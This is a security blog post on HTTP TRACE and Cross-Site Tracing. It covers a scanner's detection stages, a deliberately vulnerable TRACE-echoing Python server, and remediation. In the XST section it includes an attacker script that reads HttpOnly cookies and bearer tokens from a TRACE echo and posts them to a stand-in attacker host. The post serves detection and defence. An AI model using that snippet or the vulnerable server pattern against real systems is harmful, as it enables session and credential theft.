RSS Amplifier

Appknox HQ · May 12, 2026

Systematic Identification of HTTP TRACE

0
Sign in to vote or save

This page did not load. You can still read it on the original site — the toolbar below keeps your place in the directory.

Automated identification of XST and method-level leaks

What is HTTP TRACE?

HTTP TRACE is a diagnostic method defined in the HTTP/1.1 specification. Its purpose is straightforward in design: when a client sends a TRACE request, the server is supposed to echo the entire request back in the response body. This allows developers to observe how a request changes as it passes through intermediary proxies, load balancers, and gateways. The method was conceived as a network debugging tool, occupying a similar conceptual space as ICMP echo requests in lower-level network diagnostics.

The problem with leaving TRACE enabled on a production API is that the debugging transparency it provides works in exactly the same way for an attacker as it does for a developer. Every header the client sends, including Cookie, Authorization, X-Auth-Token, and any custom session identifiers, comes back verbatim in the response body. For an attacker who can get a victim’s browser to issue a TRACE request, this creates a mechanism for extracting header values that would otherwise be inaccessible to client-side JavaScript, including cookies marked HttpOnly.

Thanks for reading Appknox HQ! Subscribe for free to receive new posts and support my work.

This is the vulnerability class known as Cross-Site Tracing, or XST. It represents a specific compound attack that chains JavaScript execution (typically via a reflected or stored XSS vulnerability) with TRACE to defeat the HttpOnly cookie protection that modern browsers enforce. The HttpOnly attribute prevents document.cookie from exposing the cookie value to JavaScript. TRACE sidesteps this by having the server include the cookie in a response body that JavaScript can read freely through a fetch() or XMLHttpRequest call, since the response body is not subject to the same restriction.

The vulnerability is classified under CWE-749 (Exposed Dangerous Method or Function), CWE-16 (Configuration), and CWE-489 (Active Debug Code Left in Production). OWASP categorises it as API8:2023 Security Misconfiguration. The CVSS score is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, reflecting the fact that the method requires no authentication, no complex conditions, and no user interaction to exploit in its simplest form, while exposing a high-confidentiality risk through header disclosure.


What the Server Does

When TRACE is enabled and a client sends

TRACE /api/v1/user HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Cookie: session=abc123; _csrf=def456
X-Request-ID: debug-trace-test

The server responds with something structurally similar to

HTTP/1.1 200 OK
Content-Type: message/http
TRACE /api/v1/user HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Cookie: session=abc123; _csrf=def456
X-Request-ID: debug-trace-test

The response body is the request. Every header the client sends, the server returns. This is the intended behaviour of TRACE. On a production system carrying real authentication credentials, it is a misconfiguration.


Detection Approach

The detection logic for HTTP TRACE enabled is more involved than a single method check. A server may respond to TRACE with a 200 status but not include headers in the body. Conversely, a server using a different method might exhibit TRACE-like echo behaviour under certain configurations. The detector accounts for both possibilities through a five-stage analysis.

Stage 1: Initial TRACE Request

The scanner issues a TRACE request to the endpoint using the existing request structure captured during analysis

new_request = copy.deepcopy(request)
new_request.method = "TRACE"
response = MakeHTTPRequest(new_request, self.proxy_url).make_request()

Stage 2: Header Echo Check

The response body is scanned for the presence of the request headers. A match on any header key and value pair constitutes a confirmed echo

headers_present_in_body = False
for key, value in new_request.headers.items():
    if key.lower() in response.body.lower() and value.lower() in response.body.lower():
        headers_present_in_body = True
        break

Stage 3: Finding on Positive Echo

If any request header appears in the response body, the endpoint is flagged. The request and response are captured for the finding record

if headers_present_in_body:
    trace_defect['request'] = new_request.get_request_json()
    trace_defect['response'] = response.get_response_json()
    trace_defect['param'] = {
        'location': 'headers',
        'method': new_request.method,
        'variable': []
    }
    self.results.append(generate_defect(**trace_defect))

Stage 4: Custom Header Fallback

If the initial echo check does not produce a match, the scanner injects a custom header that would not plausibly appear in the response for any reason other than echo behaviour. If this synthetic header appears in the response body, the endpoint is still flagged

else:
    custom_header = "Test-Header-For-Trace-Check"
    custom_header_val = "Test-Header-For-Trace-Check-value"
    new_request.headers[custom_header] = custom_header_val
    response = MakeHTTPRequest(new_request, self.proxy_url).make_request()
    if (response and
        custom_header.lower() in response.body.lower() and
        custom_header_val.lower() in response.body.lower()):
        self.results.append(generate_defect(**trace_defect))

Stage 5: Original Method Check

A final check replays the original HTTP method from the captured request through the same analysis pipeline. Some server configurations respond to any method with TRACE-like echo behaviour, or the captured request was already a TRACE request from a prior scan step

self.analyze_http_method(request.method, request)

The full analyze_http_method function wraps stages 1 through 5 and is called twice: once for TRACE, once for the original method.


Observed Behaviour: Vulnerable Server

The following Python HTTP server implementation accepts and processes TRACE requests, echoing the full request back to the caller

class TraceHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_TRACE(self):
        self.send_response(200)
        self.send_header('Content-Type', 'message/http')
        self.end_headers()
        body = self.requestline + '\r\n' + str(self.headers) + '\r\n'
        self.wfile.write(body.encode('utf-8'))

Any client that sends a TRACE request to this server will receive its own headers back. If a victim’s browser sends this request while carrying a session cookie, that cookie value appears in the response body as plain text.


The Cross-Site Tracing Attack

The severity of TRACE enabled on its own is limited to cases where an attacker can directly query the endpoint and read the response. That is a useful diagnostic for a penetration test, but its real-world impact is constrained by the fact that the attacker is sending their own headers, not a victim’s.

The attack becomes significantly more serious when combined with an XSS vulnerability on the same domain. The HttpOnly flag on a cookie prevents document.cookie from exposing the cookie value to JavaScript. An attacker who has JavaScript execution on the victim’s browser cannot read the cookie directly. However, they can issue a fetch() call to the same-origin API endpoint using the TRACE method. The browser attaches the victim’s cookies to the request automatically, because cookie attachment follows the request target’s origin. The server echoes those cookies back in the response body. The HttpOnly restriction applies to document.cookie access, not to reading an HTTP response body. The attacker’s JavaScript reads the TRACE response body and finds the cookie value there.

// Attacker-injected script on victim's browser, same origin as api.target.com.
// The browser attaches the victim's cookies to the TRACE request automatically.
// HttpOnly prevents document.cookie from exposing them, but TRACE puts them
// in the response body, which fetch() can read freely.
fetch('https://api.target.com/api/v1/user', {
    method: 'TRACE',
    credentials: 'include'
})
.then(res => res.text())
.then(body => {
    // The body contains the full request echo, including:
    // Cookie: session=abc123; _csrf=def456
    // Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
    // Ship the full echo to the attacker's collection endpoint.
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: body
    });
});

Findings and Observations

HTTP TRACE appears enabled most frequently in two circumstances. The first is older server deployments where the default Apache configuration left TraceEnable set to on. Many configurations carried over from the Apache 1.x era did not explicitly set this directive, and the method remained active through subsequent upgrades.

The second is environments where a reverse proxy handles most traffic but passes certain paths or ports directly to an upstream application server. The reverse proxy disables TRACE, the application server does not. Any endpoint reachable without going through the proxy is vulnerable. This pattern appears in internal API endpoints, health check paths, and debug interfaces that are exposed on separate ports or internal network interfaces but reachable from within a sufficiently compromised network segment.

The CVSS score reflects the worst-case scenario where TRACE is queryable without authentication and the response body contains meaningful header data. In practice, the confidentiality impact is high when the endpoint is authenticated, because the token or cookie values in the echo are precisely the credentials that establish authenticated sessions. An API endpoint that requires a bearer token to access but reflects that bearer token in a TRACE response is, in effect, handing the attacker the token in exchange for asking for it correctly.


Remediation

Disable TRACE at the reverse proxy or web server layer as the primary control. If the application sits behind Nginx or a CDN, configure the TRACE block there. Do not rely solely on application-layer middleware, because the middleware may not run if the request is handled upstream or if the application framework passes the method through without triggering the middleware stack.

Audit every surface on the API. The scanner checks the recorded endpoint, but TRACE availability often varies between paths, servers, and ports. An endpoint accessible only via an internal network segment should be checked with the same rigour as a public endpoint, because internal network access is typically achievable via SSRF, container escape, or lateral movement following initial compromise.

Verify that compliant configuration is enforced in the deployment pipeline rather than applied manually. A manual change to apache2.conf that prevents TRACE can be overwritten by a configuration management system that regenerates the file from a template on the next deployment cycle. The fix belongs in the infrastructure-as-code template, not only on the running server.

Where the application implements HTTP method routing itself, returning 405 for TRACE with an Allow header listing the accepted methods is the appropriate response, consistent with RFC 9110.


Conclusion

HTTP TRACE is a diagnostic feature that has no valid use on a production API. Its presence indicates that a server was deployed without auditing which HTTP methods it accepts, a pattern that is common in configurations that carry over defaults without reviewing them against a production security baseline.

The information disclosure it enables ranges from mild, where only generic headers are exposed, to severe, where authentication tokens or session identifiers appear in the echo. Its most dangerous expression is the XST attack, which uses TRACE to circumvent the HttpOnly cookie protection and extract session credentials from a victim’s browser through injected JavaScript.

Thanks for reading Appknox HQ! Subscribe for free to receive new posts and support my work.

Read on appknoxhq.substack.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.